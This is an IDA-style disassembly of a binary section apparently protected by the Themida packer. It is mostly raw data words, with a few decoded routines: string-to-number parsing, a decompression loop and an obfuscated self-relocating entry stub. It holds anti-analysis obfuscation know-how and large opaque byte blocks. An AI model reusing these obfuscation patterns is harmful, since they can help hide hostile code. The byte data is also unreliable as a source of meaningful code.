34AD49F1h dd 6A47248Dh, 52006A01h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0CE9B905h, 0F7000000h, 498F2C32h dd 0DDB15E3h, 0FF2B03C0h, 53006AD1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 6A3D63BFh dd 0F1C6E5A4h, 0D68B7B05h, 3D5C5BE8h, 0E38160FAh, 1C68C2FBh dd 28E0Fh, 0B2B40000h, 6A206A61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 6BC5C350h dd 6F160786h, 7E9h, 5CDA2E00h, 0B6EF30C1h, 0BD89FF6Ah dd 61E1909h, 327195FFh, 0BB66061Eh, 0CB818EB4h, 167CC769h dd 0B8h, 65BD2900h, 0B061E1Fh, 30840FC0h, 8B000000h, 1E165195h dd 0EDBD8306h, 61E21h, 1D840Fh, 81660000h, 0FF92E2DBh dd 1E193595h, 0C8C0F06h, 0F000000h, 68Eh, 800F00h, 8B000000h dd 1E0E2D85h, 4850F06h, 51000000h, 0C65A5A53h, 8D310000h dd 61E2BF5h, 0D2816658h, 8C667259h, 0DB8166D9h, 0C1F64DF4h dd 93840F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5CBAC353h, 8A4D7221h dd 9D896058h, 61E2CE9h, 95958953h, 5E061E21h, 0DE816061h dd 653779C1h, 61F18B66h, 51E9h, 0A9858900h, 8B061E2Bh dd 1E227DB5h, 0A5958B06h, 3061E04h, 1E2E319Dh, 80C68106h dd 8B000011h, 6C7D7h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 32B8C352h, 914A1D17h dd 0A9DA9DE4h, 669CF280h, 0E95ED18Bh, 6, 0FD91750Ah, 0F883850Bh dd 0D5840F00h, 0BB00000Ah, 64E8F6CEh, 0F01F883h, 16685h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0A8E50E98h, 51C459F0h, 0B807F5h, 66000000h dd 0C00BDF8Bh, 0C2840Fh, 8B660000h, 1F883D8h, 0C8840Fh dd 9D890000h, 61E26B9h, 0F03F883h, 6284h, 9950B00h, 0B8061E2Ah dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FAC35040h dd 7F83B52Dh, 8D639F9Ch, 5B7974BDh, 519D8B00h, 0FF061E16h dd 55006AE7h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 60BB6639h, 1958BCEh, 0B8061E30h, 1, 2291958Bh dd 9533061Eh, 61E2315h, 7974BD8Dh, 6A005Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 23DF6DC3h dd 0B30E3E04h, 669EE75Dh, 0FF8F37BAh, 0FFF280E7h, 42BDBD8Dh dd 8B66061Eh, 28BE9DFh, 0BB660000h, 85C74A1Eh, 61E4C8Ch dd 5, 2AC99D89h, 958B061Eh, 61E1E35h, 5B8h, 0EE85000h dd 24000000h, 29D16E53h, 4D6B3A19h, 0F964F7E9h, 0D3B70FC6h dd 0ADE95A5Ah, 6A000008h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5629C356h, 0F5A63570h dd 83338FB6h, 850F02F8h, 101h, 66918BBAh, 0B80Ah, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 4BE969C3h, 93BD981Eh, 0D281668Eh, 0C00BC0FDh, 0B0840Fh dd 0D2810000h, 59FE0BEBh, 1221958Bh, 0F883061Eh, 4B840F01h dd 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E01FC355h, 7E951h, 2B6F0000h dd 94847FBBh, 0EE96021h, 0E2000000h, 9414536Ah, 9E70B971h dd 0EFAAAE25h, 0D8D8B00h, 61061E31h, 0F03F883h, 0FFFEA684h dd 318D09FFh, 2B061E2Fh, 0ED9531C0h, 29061E1Bh, 1E272185h dd 74BD8D06h, 6A005B79h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 3324C355h, 85E6CCBDh dd 880F759Bh, 5, 0E5D38166h, 66E7FF0Bh, 0BD8DD78Bh, 61E44B5h dd 36D9D8Bh, 26E9061Eh, 8B000001h, 1E297D9Dh, 3F88306h dd 36850Fh, 0BB660000h, 0BD8D013Bh, 61E4649h, 95C28166h dd 103E9DCh, 11E90000h, 9E000000h, 54EB4589h, 0E1B86A7h dd 0FCAF6546h, 0F4C088CAh, 68C0Fh, 8D890000h, 61E1489h dd 0F05F883h, 1085h, 0E4D6BA00h, 2DE932BBh, 81000007h dd 24F9D5DBh, 6F8831Ah, 46850Fh, 8B520000h, 1E175595h dd 0BD8D5A06h, 61E4841h, 0AAE9D98Bh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8822C353h, 0FE9h, 0AAE4500h, 35B5472Ch, 3E269AC9h, 7F8229B8h dd 0F07F883h, 3D85h, 0D19D8B00h, 8D061E2Ch, 1E23A5BDh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8AA0A30Dh, 104E9F7h, 9D8B0000h, 61E2F31h dd 839DF281h, 0F883499Dh, 2A850F0Ah, 8B000000h, 39BD8DD1h dd 0F5061E4Ah, 1CE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 81665756h, 0B92132DBh dd 3739D534h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 7EC35040h, 0DFBF0F39h, 7E5958Bh, 3F83061Eh, 84840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0FBCCC352h, 0FA4F1B7h, 0F30D6B7h dd 9D8BC9D1h, 61E224Dh, 55006A47h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 6021BA51h, 673366B0h dd 0D98BE057h, 0C418D89h, 97E9061Eh, 6AFFFFFFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 59C7C353h, 8FA362D1h, 5FD75BC6h, 1ACDB589h, 0BD89061Eh dd 61E4C35h, 4D958Bh, 8D8D061Eh, 61E3091h, 0FFDFBF0Fh dd 1E1375B5h, 0EAE78006h, 0CE9h, 3DAF0C00h, 0B0C3715Eh dd 0E1C3B043h, 8A858DC2h, 5006209Fh, 5436BD8Dh, 8D8D061Eh dd 61E6F4Fh, 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h dd 1E6EFFB5h, 678D8D06h, 2B061E6Fh, 33A4F3CFh, 0B8C9h dd 0C00B0000h, 0BD834674h, 61E21EDh, 0FF067400h, 1E193595h dd 35B58B06h, 8D061E4Ch, 209F8A85h, 8DD0FF06h, 1E424085h dd 0C7D0FF06h, 1E005585h, 106h, 9DA58B00h, 8B061E02h, 1E0EB5B5h dd 3DAD8B06h, 33061E01h, 0CC2C0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0B2C35747h, 6AD68B66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 93E0C356h, 0AF091AC3h, 83F56BD0h, 1E33B1BDh, 840F0006h dd 56h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 0A7C35242h, 9A2AD8BDh, 2DF69A39h, 0C1958939h, 0FF061E04h dd 1E035595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 9E67B48Eh, 8B4F912h, 0BD830F4Bh dd 61E18D1h, 15850F00h, 0F000001h, 387h, 0D98B6600h, 272DBD83h dd 0F01061Eh, 0FF85h, 0FD98B00h, 0BD83D9B7h, 61E29C5h dd 0ED840F00h, 89000000h, 1E1CE18Dh, 88BD8306h, 61E4Ch dd 0DA840Fh, 0E2800000h, 8A858DC9h, 0F06209Fh, 0B58BD1BFh dd 61E4C35h, 89D0FFF5h, 1E172DB5h, 4185C606h, 54061E20h dd 90203A68h, 0F0BA6692h, 2434817Eh, 6DDE9ECEh, 6830Fh dd 0CA810000h, 1A2E363Ch, 2F1B5FFh, 9D8B061Eh, 61E1BC1h dd 38FA858Dh, 0DE9061Eh, 37000000h, 39BEC817h, 1F562E46h dd 0D9F26Ch, 236D9533h, 0D0FF061Eh, 20499D8Bh, 6A061Eh dd 1E58D89h, 0FF6A061Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 2AC35242h, 930C5B65h, 0F3BB664Fh, 81D0FF33h dd 922D23E2h, 61B5FF57h, 89061E19h, 1E18F985h, 7595FF06h dd 6A061E13h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 7B62C356h, 7FB7094Fh, 4C35B58Bh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 80AD1DC3h, 0D78B6652h, 8BFCC35Ah, 1E0E2DB5h dd 0CB816606h, 0CEB3594Ah, 840FF60Bh, 0Ch, 1C19D8Bh, 6C6061Eh dd 0DBB70F00h, 4C3D8589h, 5E9061Eh, 85000000h, 0A520ED15h dd 0F00F883h, 39384h, 0B80FB700h, 0 dd 22D99589h, 0F883061Eh, 0CA840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8B12C352h, 2F883D6h, 68850Fh, 0BF0F0000h, 0B8858DDAh dd 6A061E42h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0D47CC353h, 3789750h, 1E337595h dd 9292D06h, 85090000h, 61E21B9h, 0A8BB6690h, 0D88B50DAh dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0C34E929Ch, 155D8D89h, 0B8061Eh, 0F000000h dd 1B8Ch, 15870F00h, 0E9000000h, 10h, 912C5C17h, 0AAE3E856h dd 1D5429C2h, 5805BC79h, 2BD1950Bh, 0BDE9061Eh, 60000002h dd 958B17B3h, 61E2939h, 1B861h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8D4BC3h dd 61E42BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0D1C35141h, 0BD891EDDh, 61E1E75h, 0BBE9h, 0E5958B00h dd 83061E0Dh, 850F02F8h, 4Bh, 429952Bh, 0BD8D061Eh, 61E44B5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2DC35747h dd 0AF79EEh, 0EE91Bh, 7DEE0000h, 0E852CFE0h, 4FF08E1Fh dd 6BA8B6B4h, 67E9h, 0B99D8B00h, 83061E07h, 850F03F8h dd 44h, 2DA58589h, 0BD8D061Eh, 61E4649h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 33C35242h, 0BE958h dd 5E8D0000h, 0E771BA81h, 3EC211A2h, 1AE9BCh, 0B5010000h dd 61E0CD5h, 0F05F883h, 0B85h, 0D0BF0F00h, 0D3E9h, 0D78B6600h dd 0FD89BB57h, 14E90CB1h, 4000000h, 159B656Ah, 673768A3h dd 0FD80986Bh, 0FD7C39E4h, 0B922BA08h, 3739D534h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0F2C35040h, 0F4F69365h dd 83DFB70Fh, 840F003Fh, 80h, 5830Fh, 81660000h, 306336E3h dd 958B600Fh, 61E02A5h, 0EE9h, 0F7369A00h, 0C670F1ABh dd 0D1662E96h, 61EB7851h, 48F0Fh, 0BA660000h, 0C9D1280Ch dd 0DE9h, 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0EE967E5h dd 21000000h, 8A5031E5h, 0BE330FEDh, 0D0A2F472h, 6A4704h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F8579CC3h, 0FFFF7AE9h, 0D9BF0FFFh, 0F05F883h, 0CF85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0E99D8977h, 66061E17h, 6AD98Ch, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 6171CCC3h, 0B5094FD6h, 61E31A9h, 0F04C1F6h, 4F85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 30858DA7h, 0FE8BC63h, 21000000h, 0D15E9D00h, 57B10B9h dd 6D8F10EDh, 8D89DB11h, 61E1A05h, 0B85Bh, 0BF0F0000h dd 32E9D1h, 9D8B0000h, 61E0195h, 34D858Bh, 6A061Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0EB3C9C3h, 958BE0FFh, 61E2731h, 1375BD83h, 0F00061Eh dd 13A85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 24D1431Fh, 5F21F38Bh, 90F9A6B9h dd 5050D98Bh, 8E852h, 9A560000h, 0D02FE09Dh, 10B7B1EBh dd 66310F5Bh, 585AD78Bh, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0FE8AAh, 53C30000h, 810909Fh dd 0D20A6C77h, 0F749CBC3h, 0ED9589C4h, 5A061E03h, 204185C6h dd 0E945061Eh, 14h, 0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h dd 116916Ch, 2705958Bh, 4E8061Eh, 69000000h, 8B8E7269h dd 51BA50D9h, 8B6DA2E7h, 66042444h, 8BBB87BAh, 24448900h dd 0B5295804h, 61E001Dh, 2F1B5FFh, 19B6061Eh, 38FA858Dh dd 0F8B7061Eh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 206F21C3h, 0F1A71D7h, 8BA38FA6h dd 1E23419Dh, 0B58B6006h, 61E1D65h, 61F2B70Fh, 167D9D8Bh dd 8589061Eh, 61E1375h, 0CE8h, 0E8465B00h, 0C5FEF7B3h dd 0A126678Ch, 519D3166h, 5B061E27h, 0B9B58958h, 83061E02h dd 1E4C8CBDh, 840F0006h, 5Bh, 0FF0BE380h, 1E1961B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FFE5D533h, 1E137595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0D51B4309h dd 8924F01Dh, 1E174D8Dh, 3DB58906h, 83061E33h, 850F00F8h dd 0B2h, 2CDA8166h, 52EA8177h, 835E5250h, 1E0135BDh, 840F0006h dd 41h, 16F5BD29h, 0B5FF061Eh, 61E0135h, 2FB99D89h, 1B8061Eh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 70A2C352h, 0E9E188A1h, 1F4h, 2AF28166h dd 61B5FF59h, 89061E19h, 1E1BC595h, 61B5FF06h, 0F061E19h dd 68Fh, 5850100h, 0FF061E04h, 1E1375B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 297C69D2h, 1E0D8D8Dh, 1A2E906h, 9D8B0000h, 61E3021h dd 9818589h, 295F061Eh, 1E1BA98Dh, 0D5BD8306h, 61E31h dd 0D9850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 2809FDC3h, 5CC5CE72h, 4185C6BAh dd 4D061E20h, 1A45958Bh, 0F968061Eh, 663E7602h, 481D18Bh dd 0BF73AF24h, 55B5FF65h, 89061E14h, 1E0E159Dh, 0FA858D06h dd 6A061E38h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 43ECC355h, 81E8058Ch, 2333F6CAh dd 0D958939h, 0FF061E02h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 2DFCC8E5h dd 4A7354D7h, 0D5858917h, 6A061E31h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 9C64C350h dd 0D98DD332h, 8B06C969h, 1E292995h, 158D2906h, 0B8061E08h dd 0 dd 89DA8B66h, 1E4C35BDh, 0A1858906h, 0B061E23h, 2C840FC0h dd 66000000h, 0E99A74BBh, 84h, 4DB58960h, 0E9061E21h, 11h dd 0C1A416FAh, 0D6B7A28h, 0FB1039D0h, 0D59D81CBh, 8166612Fh dd 0FF0E31EAh, 1E1375B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 90852DCAh dd 0D3B8F806h, 8D0F1B73h, 3, 8DD4CF80h, 209F8A85h, 48BA6606h dd 9E91Ah, 0A6E30000h, 0C0696E1Bh, 9002B2CFh, 5350A8B7h dd 5AD68B66h, 6E990h, 72930000h, 0EBF27677h, 0BD8D5650h dd 61E5436h, 798D8D8Dh, 0BCB8061Eh, 2B748323h, 0D00730CFh dd 754947C8h, 83585EF8h, 1E0135BDh, 6740006h, 16398D8Bh dd 0C933061Eh, 0B8h, 0FC00B00h, 9984h, 0EDBD8300h, 61E21h dd 95FF0674h, 61E1935h, 0B8h, 75C00B00h, 3DBD8309h, 1061E4Ch dd 0BD830974h, 61E4C3Dh, 8B0E7502h, 1E4C35B5h, 8A858D06h dd 0FF06209Fh, 40858DD0h, 0FF061E42h, 6DBD83D0h, 2061E09h dd 0A58B2F75h, 61E029Dh, 135858Bh, 489061Eh, 5585C724h dd 1061E00h, 8B000000h, 1E4C39B5h, 3DAD8B06h, 0B8061E01h dd 1, 0EB000CC2h, 5585C700h, 1061E00h, 8B000000h, 1E029DA5h dd 0B5B58B06h, 8B061E0Eh, 1E013DADh, 0C2C03306h, 0BD83000Ch dd 61E33B1h, 830F7400h, 1E0355BDh, 6740006h, 35595FFh dd 0B58B061Eh, 61E4C35h, 89BD29C3h, 0F061E2Ah, 685h, 5BCA8100h dd 0BA357286h, 0 dd 71A1CB81h db 85h, 60h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_536876 ; --------------------------------------------------------------------------- loc_536874: ; CODE XREF: Themida_:00536879j inc eax inc edi loc_536876: ; CODE XREF: Themida_:00536872j cmp byte ptr [edi], 0 jnz short loc_536874 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5368A5 ; --------------------------------------------------------------------------- loc_536882: ; CODE XREF: Themida_:005368A7j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_53689A ; --------------------------------------------------------------------------- loc_536897: ; CODE XREF: Themida_:0053689Dj mul ebx dec esi loc_53689A: ; CODE XREF: Themida_:00536895j cmp esi, 0 ja short loc_536897 pop ebx add ecx, eax pop eax inc edi dec eax loc_5368A5: ; CODE XREF: Themida_:00536880j or eax, eax jnz short loc_536882 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 7684C355h, 295601D1h, 1E29E595h, 0E2805B06h dd 0E9C18BC7h, 1ADh, 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h dd 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h dd 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h dd 585h, 46168A00h, 0C913D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh dd 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h, 56E88B02h dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h dd 8C2611Ch, 929BA00h, 3FE90000h, 3F000219h, 68025800h dd 0DE0012FFh, 0EC0059FBh, 0DE0059F6h, 59FBh, 28000000h dd 46025800h, 2000002h, 1000000h, 2000000h, 0DC000000h dd 0FA34EDh, 4 dup(0) dd 84000000h, 260053BDh, 0CD005385h, 0BF0053CBh, 690053D6h dd 240053DBh, 760053D9h, 4F0053E2h, 7D00540Fh, 160053F2h dd 700053B1h, 0F0005426h, 0E70053ADh, 9A0053C7h, 0B30053DAh dd 510053B3h, 4E0053D4h, 46005385h, 4F0053E6h, 0B40053EFh dd 3E0053D4h, 0A300541Ah, 6800539Ch, 0BC005429h, 0DA0053B3h dd 0D30053B2h, 0DF00541Eh, 4E00541Dh, 9B0053BDh, 1B005419h dd 0D70053ACh, 6C00540Ch, 0FD0053E8h, 0B1005396h, 50053A2h dd 0F5005392h, 0BF00542Eh, 610053DAh, 7900536Eh, 4A00537Eh dd 89005379h, 0F80053B1h, 0C4005421h, 0DC0053F6h, 170053A7h dd 670053D5h, 0E60053A4h, 270053AFh, 0BF005378h, 8D005398h dd 3E00541Fh, 2E005376h, 0E3005407h, 50053DFh, 2005370h dd 4B00540Ah, 1E00539Fh, 0D000540Dh, 4D005393h, 0A00053F3h dd 2B005387h, 31005387h, 0AC0053E2h, 410053F3h, 3000542Fh dd 3800540Eh, 270053FDh, 0A6005403h, 4F005409h, 59005422h dd 23005408h, 680053D2h, 1100539Fh, 2B00540Ah, 63005400h dd 310053CFh, 0F90053FAh, 4F00539Fh, 1B0053B5h, 5300538Fh dd 7400542Ah, 200053C6h, 47005398h, 0D400539Ah, 0D8005373h dd 0F7005408h, 7E005383h, 95005409h, 542Bh, 18005400h dd 28005383h, 33005384h, 70005387h, 0AF005373h, 0D10053C3h dd 0EA0053FBh, 0F8005391h, 0B700541Fh, 5E005424h, 470053DAh dd 710053CBh, 0A5005378h, 3F0053DBh, 0A100542Ah, 1D0053F8h dd 86005408h, 0E8005418h, 81005386h, 240053CCh, 0EB0053BCh dd 0FF0053DFh, 0BA0053FBh, 600540Ch, 0BE005415h, 0A3005426h dd 640053B0h, 0CB0053F9h, 0E1005407h, 0BB0053ADh, 52005404h dd 500541Ah, 26005382h, 7100539Ah, 0C005418h, 200053FFh dd 14005386h, 0F30053F5h, 900537Bh, 6A0053A1h, 50053A7h dd 5B0053BFh, 53CFh, 10053B3h, 0A40053BEh, 3B0053ADh, 0DE0053AEh dd 3E005375h, 0C80053EAh, 5E0053EAh, 26005377h, 960053CDh dd 32005423h, 0C30053F7h, 750053E3h, 3E00539Dh, 600538Dh dd 0BF0053F9h, 0BF0053ABh, 8B0053F3h, 6E0053D2h, 0AA0053E9h dd 620053A1h, 180053D0h, 67005429h, 58005376h, 3F0053A1h dd 0E2005390h, 61005426h, 800053A9h, 0A70053AEh, 780053BDh dd 9B0053A0h, 20005422h, 0B7005378h, 0AF0053E1h, 9C005401h dd 97005376h db 8Dh, 53h, 0 ; --------------------------------------------------------------------------- loc_536D7B: ; CODE XREF: Themida_:00562FC9j ; Themida_:005860A2j ... pusha pushf cld call $+5 pop edi sub edi, 61E7FA7h mov eax, edi add edi, 61E7CBFh cmp eax, [edi+2Ch] jnz short loc_536D99 jmp short loc_536DAC ; --------------------------------------------------------------------------- loc_536D99: ; CODE XREF: Themida_:00536D95j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_536DA8 ; --------------------------------------------------------------------------- loc_536DA3: ; CODE XREF: Themida_:00536DAAj add [edi+ecx*4+40h], eax dec ecx loc_536DA8: ; CODE XREF: Themida_:00536DA1j or ecx, ecx jnz short loc_536DA3 loc_536DAC: ; CODE XREF: Themida_:00536D97j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_536DB9: ; CODE XREF: Themida_:00536DC0j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_536DB9 loc_536DC2: ; CODE XREF: Themida_:00537200j ; Themida_:loc_53725Aj ... lodsb push ebx mov bh, 0F0h inc bh sub bh, 27h add al, bh jmp loc_536E29 ; --------------------------------------------------------------------------- dw 0E955h dd 8EF7h, 7F7562B9h, 244C313Eh, 240C8B04h, 4C481h, 34FF0000h dd 82E95824h, 68000092h, 4010h, 56241489h, 0B03396BEh dd 0EE814E70h, 141B55FCh, 8103EEC1h, 0BE27FDEEh, 0E9574605h dd 842Ch ; --------------------------------------------------------------------------- loc_536E18: ; CODE XREF: Themida_:0053E22Cj add ebx, 3AC33868h and ecx, ebx pop ebx shr ecx, 0Bh jmp loc_53D8AC ; --------------------------------------------------------------------------- loc_536E29: ; CODE XREF: Themida_:00536DCDj mov ebx, [esp] add esp, 4 push ecx jmp loc_5409F0 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0E9240C31h, 0F19h ; --------------------------------------------------------------------------- loc_536E40: ; CODE XREF: Themida_:00538AE5j push edx jmp loc_53881D ; --------------------------------------------------------------------------- dw 895Fh dd 0F3015DEEh, 8324348Bh, 1C8704C4h, 24248B24h, 9C2424D2h dd 0FFFF61E9h, 1C77FFFFh, 4EC81h, 4890000h, 5E08924h, 4 dd 8704E883h, 895C2404h, 55E9240Ch, 81FFFFFFh, 4C4h, 2BD5500h dd 81000000h, 9D319AC3h, 5397E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536E9A: ; CODE XREF: Themida_:005406F0j sub esp, 4 mov [esp], eax mov eax, 24h sub eax, 2C9D6EB4h add eax, edi add eax, 2C9D6EB4h add [eax], esi jmp loc_53DFA5 ; --------------------------------------------------------------------------- loc_536EB8: ; CODE XREF: Themida_:0053A243j xor ebp, [esp] mov esp, [esp] jmp loc_53BAF3 ; --------------------------------------------------------------------------- loc_536EC3: ; CODE XREF: Themida_:0053A852j mov [esp], ebp mov ebp, 0D5F38219h add ebx, 470E641Fh add ebx, ebp sub ebx, 470E641Fh mov ebp, [esp] add esp, 4 and eax, ebx pop ebx or eax, eax jz loc_539C7B push ebx mov ebx, 1Ch push ecx mov ecx, 3FCD032Eh add ecx, 15265000h sub ecx, 0E6C2ECE5h sub ebx, ecx jmp loc_53FF76 ; --------------------------------------------------------------------------- loc_536F0C: ; CODE XREF: Themida_:00538824j dec edx not edx jmp loc_53D273 ; --------------------------------------------------------------------------- dd 241C895Ch, 81E38953h, 4C3h, 0AA5AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536F26: ; CODE XREF: Themida_:00537D87j xor eax, [esp] jmp loc_53AB33 ; --------------------------------------------------------------------------- dw 0F82Ch dd 76B45051h, 0E53005B5h, 59E80058h, 6866F028h, 89664B00h dd 0F5E9240Ch, 47000027h, 328EE9h, 2434FF00h, 1073E9h dd 4C48300h, 55526866h, 45EE9h, 0FE58E900h, 5166FFFFh dd 0CE0028B1h, 59665966h, 8088EE80h, 0F65201E6h, 5A012454h dd 0E908E6C0h, 7E4h, 50240C89h, 88533DB0h, 8BFD88C7h, 0C483241Ch dd 0EC305804h, 58E18859h, 8682F180h, 86D7F6F9h, 0B8E980F9h dd 0FCC180h, 0B60F59CBh, 8734FFC0h, 28B3E9h db 0 ; --------------------------------------------------------------------------- loc_536FBD: ; CODE XREF: Themida_:00540F1Ej pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_53DAD1 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4685500h, 5D000000h, 515DE929h, 42474FFh, 24048F59h dd 8924248Bh, 8850240Ch, 58C188D0h, 8B870C88h, 0C481240Ch dd 4, 0FFFDBDE9h, 2434FFFFh, 952E958h, 48F0000h, 3412E924h dd 0D1F70000h, 13E0C981h, 0F18116ECh, 0B7EC93E2h, 0C8BCA89h dd 4C48324h, 512DBD55h, 0DDF72AC3h, 9BE5814Dh, 0E97D217Ch dd 68D4h, 8BD00058h, 0C4812414h, 4, 57241C8Bh, 6211E9h db 0 ; --------------------------------------------------------------------------- loc_537055: ; CODE XREF: Themida_:00541821j and ebx, 48704C9Ch not ebx dec ebx or ebx, 3BBD2393h xor ebx, 0FFFFBFF7h add ebp, ebx pop ebx add ebp, 4 push 0B2Ch jmp loc_53CF2F ; --------------------------------------------------------------------------- aXw db 'XW©!',0 dw 2AE5h dd 815FFD31h, 403E3BC3h, 0E9EB0134h, 4D02h, 3431D6F7h dd 16AAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53709E: ; CODE XREF: Themida_:0053761Dj add ebx, edx add dword ptr [ebx], 1 pop ebx push dword ptr [esp] pop edx push edx jmp loc_5397CE ; 